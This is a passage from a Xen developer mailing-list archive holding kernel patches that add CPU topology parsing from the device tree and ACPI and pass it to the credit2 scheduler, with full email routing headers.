X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: YI8E3YBnEo6mKfku5d/ZIorhmVaoQZ6b1ji9f+qttpuNu4wK/1iJLirwD7hR9cd6BDfoByvecGJbIebpNRsV+A==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB5490
X-purgate-ID: tlsNG-bad1c0/1785027333-BF4D3034-091A738E/0/0
X-purgate-type: clean
X-purgate-size: 9046

Make CPU topology information available to the Xen scheduler.
Additionally, ensure that this topology information is displayed
when executing the 'xl info -n' command.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Juergen Gross <jgross@suse.com> # scheduler part
---
 xen/arch/arm/include/asm/processor.h   |  4 --
 xen/arch/arm/smpboot.c                 |  8 +---
 xen/arch/ppc/include/asm/processor.h   |  4 --
 xen/arch/riscv/include/asm/processor.h |  4 --
 xen/common/device-tree/cpu-topology.c  | 65 ++++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  6 +++
 xen/common/sysctl.c                    |  1 +
 xen/drivers/acpi/topology.c            |  3 ++
 xen/include/xen/cpu-topology.h         | 39 +++++++++++++++-
 9 files changed, 114 insertions(+), 20 deletions(-)

diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index a3753c317f..41fa73cfc4 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -613,10 +613,6 @@ void show_stack(const struct cpu_user_regs *regs);
 
 #define cpu_relax() barrier() /* Could yield? */
 
-/* All a bit UP for the moment */
-#define cpu_to_core(_cpu)   (0)
-#define cpu_to_socket(_cpu) (0)
-
 struct vcpu;
 void vcpu_regs_hyp_to_user(const struct vcpu *vcpu,
                            struct vcpu_guest_core_regs *regs);
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index d957553a44..88b01bcfd2 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -92,13 +92,7 @@ static int setup_cpu_sibling_map(int cpu)
          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
         return -ENOMEM;
 
-    /*
-     * Currently we assume there is no multithread and NUMA, so
-     * a CPU is a sibling with itself, and the all possible CPUs
-     * are supposed to belong to the same socket (NUMA node).
-     */
-    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
-    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    init_cpu_sibling_map(cpu);
 
     return 0;
 }
diff --git a/xen/arch/ppc/include/asm/processor.h b/xen/arch/ppc/include/asm/processor.h
index 242346cab9..1bf6f6c66c 100644
--- a/xen/arch/ppc/include/asm/processor.h
+++ b/xen/arch/ppc/include/asm/processor.h
@@ -141,10 +141,6 @@
 /* Macro to adjust thread priority for hardware multithreading */
 #define HMT_very_low()  asm volatile ( "or %r31, %r31, %r31" )
 
-/* TODO: This isn't correct */
-#define cpu_to_core(cpu)   (0)
-#define cpu_to_socket(cpu) (0)
-
 /*
  * User-accessible registers: most of these need to be saved/restored
  * for every nested Xen invocation.
diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
index 6b89df4a2d..d478ffb76b 100644
--- a/xen/arch/riscv/include/asm/processor.h
+++ b/xen/arch/riscv/include/asm/processor.h
@@ -54,10 +54,6 @@ struct cpu_user_regs
     unsigned long pregs;
 };
 
-/* TODO: need to implement */
-#define cpu_to_core(cpu)   0
-#define cpu_to_socket(cpu) 0
-
 static inline void cpu_relax(void)
 {
 #ifdef __riscv_zihintpause
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
index 9259be73bc..36560dc228 100644
--- a/xen/common/device-tree/cpu-topology.c
+++ b/xen/common/device-tree/cpu-topology.c
@@ -317,6 +317,67 @@ static int __init parse_dt_topology(void)
     return parse_socket(map);
 }
 
+static void __init setup_cpu_topology_ids(void)
+{
+    unsigned int cpu;
+    unsigned int next_core_id = 0;
+    unsigned int next_cluster_id = 0;
+    unsigned int next_socket_id = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        unsigned int first_cpu;
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        first_cpu = cpumask_first(topo->thread_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_core_id = next_core_id;
+            next_core_id++;
+        }
+        else
+        {
+            topo->phys_core_id = cpu_topology[first_cpu].phys_core_id;
+        }
+
+        first_cpu = cpumask_first(topo->cluster_sibling);
+        if ( first_cpu >= nr_cpu_ids )
+        {
+            /* Clustering is not supported */
+            topo->phys_cluster_id = 0;
+        }
+        else
+        {
+            if ( first_cpu == cpu )
+            {
+                topo->phys_cluster_id = next_cluster_id;
+                next_cluster_id++;
+            }
+            else
+            {
+                topo->phys_cluster_id = cpu_topology[first_cpu].phys_cluster_id;
+            }
+        }
+
+        first_cpu = cpumask_first(topo->core_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_socket_id = next_socket_id;
+            next_socket_id++;
+        }
+        else
+        {
+            topo->phys_socket_id = cpu_topology[first_cpu].phys_socket_id;
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+}
+
 int __init dt_init_cpu_topology(void)
 {
     unsigned int cpu;
@@ -327,9 +388,13 @@ int __init dt_init_cpu_topology(void)
 
     ret = parse_dt_topology();
     if ( ret == 0 )
+    {
         for_each_possible_cpu(cpu)
             setup_siblings_masks(cpu);
 
+        setup_cpu_topology_ids();
+    }
+
     return ret;
 }
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index 95946634d1..b4a3b59601 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -9,6 +9,7 @@
  * Based on an earlier verson by Emmanuel Ackaouy.
  */
 
+#include <xen/cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
@@ -35,6 +36,11 @@
  */
 static unsigned int cpu_nr_siblings(unsigned int cpu)
 {
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+    if ( cpu_topology )
+        return cpu_topology[cpu].num_siblings;
+#endif
+
 #ifdef CONFIG_X86
     return cpu_data[cpu].x86_num_siblings;
 #else
diff --git a/xen/common/sysctl.c b/xen/common/sysctl.c
index 5207664252..81a68fe24c 100644
--- a/xen/common/sysctl.c
+++ b/xen/common/sysctl.c
@@ -28,6 +28,7 @@
 #include <xen/pmstat.h>
 #include <xen/livepatch.h>
 #include <xen/coverage.h>
+#include <xen/cpu-topology.h>
 
 long do_sysctl(XEN_GUEST_HANDLE_PARAM(xen_sysctl_t) u_sysctl)
 {
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 45d1f2c5be..56fcfa4945 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -22,6 +22,9 @@ int __init acpi_init_cpu_topology(void)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
 
+        topo->phys_core_id = cpu;
+        topo->num_siblings = 1;
+
         cpumask_set_cpu(cpu, topo->thread_sibling);
         cpumask_copy(topo->core_sibling, &cpu_possible_map);
         cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 7cfe3752cd..52ee93d4d0 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -4,22 +4,59 @@
 #define XEN_CPU_TOPOLOGY_H
 
 #include <xen/cpumask.h>
+#include <xen/percpu.h>
 
-#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+#include <asm/processor.h>
+#include <asm/smp.h>
 
 struct cpu_topology {
     cpumask_var_t thread_sibling;
     cpumask_var_t core_sibling;
     cpumask_var_t cluster_sibling;
+    unsigned int phys_core_id;
+    unsigned int phys_cluster_id;
+    unsigned int phys_socket_id;
+    unsigned int num_siblings;
 };
 
 extern struct cpu_topology *cpu_topology;
+
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    if ( IS_ENABLED(CONFIG_GENERIC_CPU_TOPOLOGY) && cpu_topology )
+    {
+        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
+                     cpu_topology[cpu].thread_sibling);
+        cpumask_copy(per_cpu(cpu_core_mask, cpu),
+                     cpu_topology[cpu].core_sibling);
+    }
+    else
+    {
+        /* Assume all CPUs reside in the same socket and no threading. */
+        cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+        cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    }
+}
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
 void init_cpu_topology(void);
 
+#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
+#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 static inline void init_cpu_topology(void) {}
 
+#ifndef cpu_to_core
+#define cpu_to_core(cpu)   (0)
+#endif
+
+#ifndef cpu_to_socket
+#define cpu_to_socket(cpu) (0)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 00:55:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 00:55:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370879.1618747 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9T-0006gR-M4; Sun, 26 Jul 2026 00:55:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370879.1618747; Sun, 26 Jul 2026 00:55:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9T-0006gI-GO; Sun, 26 Jul 2026 00:55:35 +0000
Received: by outflank-mailman (input) for mailman id 1370879;
 Sun, 26 Jul 2026 00:55:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wnn9Q-0006fz-RU
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 00:55:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnn9Q-007Oo9-8T
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 02:55:32 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6559e3-e002-0a2a0a5209dd-0a2a4509e574-48
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:32 +0200
Received: from [52.101.228.97]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a655aff-be1a-0a2a45090019-3465e461c552-4
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:31 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS7P286MB5490.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:397::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.12; Sun, 26 Jul
 2026 00:55:27 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Sun, 26 Jul 2026
 00:55:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=cBg49bQqnAS3G1T7M7RsVJ900z/jRdzAro8vpIe5Boy6JWsfCV+Y4kbcSAZACTYr+9Fas8wSIhRpCTWtesdHlJLOE+H05hIr5avU+P890RmSGYMccEAI/jV7kWGhps3Pw0QmKNxkCG+81t74bRSFIvgpfpFYwtJuFxZiWNL+drDPi7aEVpQZrpYSu1fdtbBuGtg7HyxK+ctVaSftQoHLHO/4vcvj8PKCgxqNy0+j/Z1KONM9vnA3j/Ra53+b6PSm1FVjzekZJNb/6jvm4kWxpfUl4gEc5QVTM1EaE2thRMosA3QXW7jTGFQq9xhW1r/287ZxK/w+dLSiWLpvZR10LA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=4Q4Sn6ZvbDxStJSJKmYRZ8YWSBhcchVL9I57LeHdLTQ=;
 b=SNMh9G0LXyB04ueMbsZJmc7taIgLwZdATKj0rSjXbc3Te5wmvJ9yLh6fp8kkMQQcAm/a3tvoOedOvUe7VqufyM8YJpHCoelnkqqP1HcuMJlsOeE+tLYnuLW0MyLqSrYt7Y7vVrrU7SQlm87RaxdXZpsINASrFABzZ3YNclnIzjL7tY4K4LY3kaLim/mwDwXjAZe+XAe+hiAf24Q8ZAU2RqZawedzLvXTQ8eKkr7U0kGQmonb3C+ZVTU87ItRza6ISJuC/FBbU7pdouyRw/uLo1do6Vqqddn1Ol/84LDioa/6PUtE6ZgA6nwwkF4ZA5jbQAnRTrPhIBT74gYdte3TDQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=4Q4Sn6ZvbDxStJSJKmYRZ8YWSBhcchVL9I57LeHdLTQ=;
 b=M2rRz/RQgW19UDHvbVK0mx/lrpuaDh99qOT7QJqny2mnFAt/xBGSbYHDDcu7sxUBh1tptrz43m1VPREbOR4iwsLPt65+wILLT0SlO6G9TLIe2df1bYFg4W3WhsK/qiz1aNBW9mzk4KAj/3Fxfxp8uqUFE2SBZNrL+bJCEvsYTGQ=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH v8 1/4] xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
Date: Sun, 26 Jul 2026 09:55:14 +0900
Message-ID: <20260726005517.379267-2-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260726005517.379267-1-taka@valinux.co.jp>
References: <20260726005517.379267-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0020.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3bf::10) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS7P286MB5490:EE_
X-MS-Office365-Filtering-Correlation-Id: 0c6200f9-3386-4592-3776-08deeab0955d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|7416014|376014|10070799003|56012099006|10067099003|6133799003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	4DCqLUpwzeAjxQSCg4Y2MhTk3wJpEvRanypax0tM3t0Mt+o0xEWqrMhrmEtuR4dLyHfQgtMeAcoiY2WPI+OgP/94JmN/RWQFT8H6NjTDZyVxjhT5HHsVzBEmFS9te2OaiP84L/wedGFEy56euBwzAvuQ44GFJhAu6TTNeoEfKMzrC27mQJX2CQoXdqCZviDIdEzRTqfD/JJNJLJC7p0lyFxjsmg5CtfsoDCoGosws8EWmmHnHHEXaZWmS3n97JIy/OnInOgLbF5pgEpFkRRa1OCwOWFHx8LN5H9s1cwXosQIHLlLmiq4gES6jKSczum7kkM1CFy041m5eRrTGaQrt0daas2PcbS62i92ansxDL1iSKy/H1YVWRatI3wddwRAgqB6WKgIe1bXfeQtCBUB+7kVmmk6G+lG4YqMpKThWpAN0N+3KvfzglAUWt2XApoFGDB8Big0uJW+cxbtIUAOCKq/fQls6k8UOS/m1vLBeGzBKPifbmLSIzSuANjU3+2B+vj49Y05852qKYHrGA0/ZikyIVn1zq5bIk2sGknQ0s6HgfAgFNE+J0n+3NM/EE/bDwf3Lspa+OS7gG7E996wt4ukoXbHFqbIMlDrgHRusirftoiIGIh5bMJbgFW0cz3oY8PMkQ8zqon6XJI4spDJDNxbyRhTPw+KVLGv6V0fMy0=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(7416014)(376014)(10070799003)(56012099006)(10067099003)(6133799003)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?Xk4Sj/yJ3+AgfupMDqO6tFxstpOfuQXAa2jCt1BSD86sUZRAy30dQeWq6ZUA?=
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iYF1q8UvAcMg0HCnxE9FbCiKey8iz92I0UCkqyx4whMDTtVPDmjKs6O9?=
X-MS-Exchange-AntiSpam-MessageData-1: kA5IhUOuPJWWLg==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 0c6200f9-3386-4592-3776-08deeab0955d
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 26 Jul 2026 00:55:27.4798
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: RmsNJ6jLTsMdM67kctMdM+QasxtwSLxMJAFJLO4QfwksHjvY7hMS8JHkC3e/jossDyQEhLCUKzQycxGkl0MIZA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB5490
X-purgate-ID: tlsNG-bad1c0/1785027332-FD06B034-5BFCBC92/0/0
X-purgate-type: clean
X-purgate-size: 21786

Parse the 'cpu-map' node in the Device Tree to extract CPU topology
information. If the 'cpu-map' node is absent, fall back to
generating the topology data from the NUMA information. This
generation assumes exactly one socket per NUMA node and that SMT
is unsupported.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Reviewed-by: Jan Beulich <jbeulich@suse.com> # common, acpi
---
Changes in v8:
  * Placed binary logical operators (||, &&) at the end of lines when
    splitting conditional statements.
  * Explicitly included <xen/cpu-topology.h> in xen/common/cpu.c.
  * Removed leftovers of ACPI_CPU_TOPOLOGY definition from
    xen/drivers/acpi/Kconfig.

 xen/arch/arm/Kconfig                  |   1 +
 xen/arch/arm/smpboot.c                |   7 +
 xen/common/Kconfig                    |  22 ++
 xen/common/Makefile                   |   1 +
 xen/common/cpu-topology.c             |  62 +++++
 xen/common/cpu.c                      |   5 +
 xen/common/device-tree/Makefile       |   1 +
 xen/common/device-tree/cpu-topology.c | 344 ++++++++++++++++++++++++++
 xen/drivers/acpi/Makefile             |   1 +
 xen/drivers/acpi/topology.c           |  41 +++
 xen/include/xen/acpi.h                |  13 +
 xen/include/xen/cpu-topology.h        |  34 +++
 xen/include/xen/dt-cpu-topology.h     |  35 +++
 13 files changed, 567 insertions(+)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 843a43897e..1e0fd4957e 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -19,6 +19,7 @@ config ARM
 	select HAS_ALTERNATIVE if HAS_VMAP
 	select HAS_DEVICE_TREE_DISCOVERY
 	select HAS_DOM0LESS
+	select HAS_GENERIC_CPU_TOPOLOGY
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
 	select HAS_STACK_PROTECTOR
 	select HAS_STATIC_MEMORY
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index ba5fd2dd52..d957553a44 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -9,10 +9,12 @@
 
 #include <xen/acpi.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/delay.h>
 #include <xen/device_tree.h>
 #include <xen/domain_page.h>
+#include <xen/dt-cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/mm.h>
@@ -244,6 +246,9 @@ static void __init dt_smp_init_cpus(void)
         }
         else
             tmp_map[i] = hwid;
+
+        /* Pass the info to dt_init_cpu_topology() */
+        map_cpu_to_dt_node(i, cpu);
     }
 
     if ( !bootcpu_valid )
@@ -280,6 +285,8 @@ void __init smp_init_cpus(void)
     else
         acpi_smp_init_cpus();
 
+    init_cpu_topology();
+
     if ( opt_hmp_unsafe )
         warning_add("WARNING: HMP COMPUTING HAS BEEN ENABLED.\n"
                     "It has implications on the security and stability of the system,\n"
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba84..29879a9131 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -140,6 +140,9 @@ config HAS_EX_TABLE
 config HAS_FAST_MULTIPLY
 	bool
 
+config HAS_GENERIC_CPU_TOPOLOGY
+	bool
+
 config HAS_IOPORTS
 	bool
 
@@ -191,6 +194,25 @@ config VM_EVENT
 config NEEDS_LIBELF
 	bool
 
+config GENERIC_CPU_TOPOLOGY
+	bool
+
+config DT_CPU_TOPOLOGY
+	bool "Device tree based CPU topology support (UNSUPPORTED)"
+	depends on HAS_GENERIC_CPU_TOPOLOGY && DEVICE_TREE_PARSE && UNSUPPORTED
+	select GENERIC_CPU_TOPOLOGY
+	help
+	  Retrieve CPU topology information from the device tree to optimize
+	  vCPU scheduling.
+
+config ACPI_CPU_TOPOLOGY
+	bool "ACPI based CPU topology support (UNSUPPORTED)"
+	depends on HAS_GENERIC_CPU_TOPOLOGY && ACPI && UNSUPPORTED
+	select GENERIC_CPU_TOPOLOGY
+	help
+	  Retrieve CPU topology information from the ACPI PPTT to optimize
+	  vCPU scheduling.
+
 config NUMA
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e25614..901bb37925 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -5,6 +5,7 @@ obj-$(CONFIG_GENERIC_BUG_FRAME) += bug.o
 obj-$(CONFIG_HYPFS_CONFIG) += config_data.o
 obj-$(CONFIG_CORE_PARKING) += core_parking.o
 obj-y += cpu.o
+obj-$(CONFIG_GENERIC_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-$(CONFIG_DEBUG_TRACE) += debugtrace.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += device.o
 obj-$(filter-out $(CONFIG_X86),$(CONFIG_ACPI)) += device.o
diff --git a/xen/common/cpu-topology.c b/xen/common/cpu-topology.c
new file mode 100644
index 0000000000..52e31ef518
--- /dev/null
+++ b/xen/common/cpu-topology.c
@@ -0,0 +1,62 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/dt-cpu-topology.h>
+#include <xen/init.h>
+#include <xen/xvmalloc.h>
+
+static void __init free_topology_table(void)
+{
+    unsigned int cpu;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        free_cpumask_var(cpu_topology[cpu].thread_sibling);
+        free_cpumask_var(cpu_topology[cpu].core_sibling);
+        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
+    }
+
+    XVFREE(cpu_topology);
+}
+
+void __init init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    cpu_topology = xvzalloc_array(struct cpu_topology, nr_cpu_ids);
+    if ( !cpu_topology )
+        return;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
+        {
+            free_topology_table();
+            return;
+        }
+    }
+
+    if ( acpi_disabled )
+        ret = dt_init_cpu_topology();
+    else
+        ret = acpi_init_cpu_topology();
+
+    /* Free the CPU topology table if initialization fails. */
+    if ( ret != 0 )
+        free_topology_table();
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/common/cpu.c b/xen/common/cpu.c
index f09af0444b..9591ada60a 100644
--- a/xen/common/cpu.c
+++ b/xen/common/cpu.c
@@ -1,5 +1,6 @@
 #include <xen/cpumask.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/event.h>
 #include <xen/init.h>
 #include <xen/sched.h>
@@ -46,6 +47,10 @@ const unsigned long cpu_bit_bitmap[BITS_PER_LONG+1][BITS_TO_LONGS(NR_CPUS)] = {
 #undef MASK_DECLARE_2
 #undef MASK_DECLARE_1
 
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+struct cpu_topology *__ro_after_init cpu_topology;
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
 static DEFINE_RWLOCK(cpu_add_remove_lock);
 
 bool get_cpu_maps(void)
diff --git a/xen/common/device-tree/Makefile b/xen/common/device-tree/Makefile
index 9036e455d6..6ee670b5f4 100644
--- a/xen/common/device-tree/Makefile
+++ b/xen/common/device-tree/Makefile
@@ -1,6 +1,7 @@
 obj-y += bootfdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo-fdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo.init.o
+obj-$(CONFIG_DT_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-y += device-tree.o
 obj-$(CONFIG_DOMAIN_BUILD_HELPERS) += domain-build.init.o
 obj-$(filter $(CONFIG_DOM0LESS_BOOT),$(CONFIG_HAS_DEVICE_TREE_DISCOVERY)) += dom0less-build.init.o
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
new file mode 100644
index 0000000000..9259be73bc
--- /dev/null
+++ b/xen/common/device-tree/cpu-topology.c
@@ -0,0 +1,344 @@
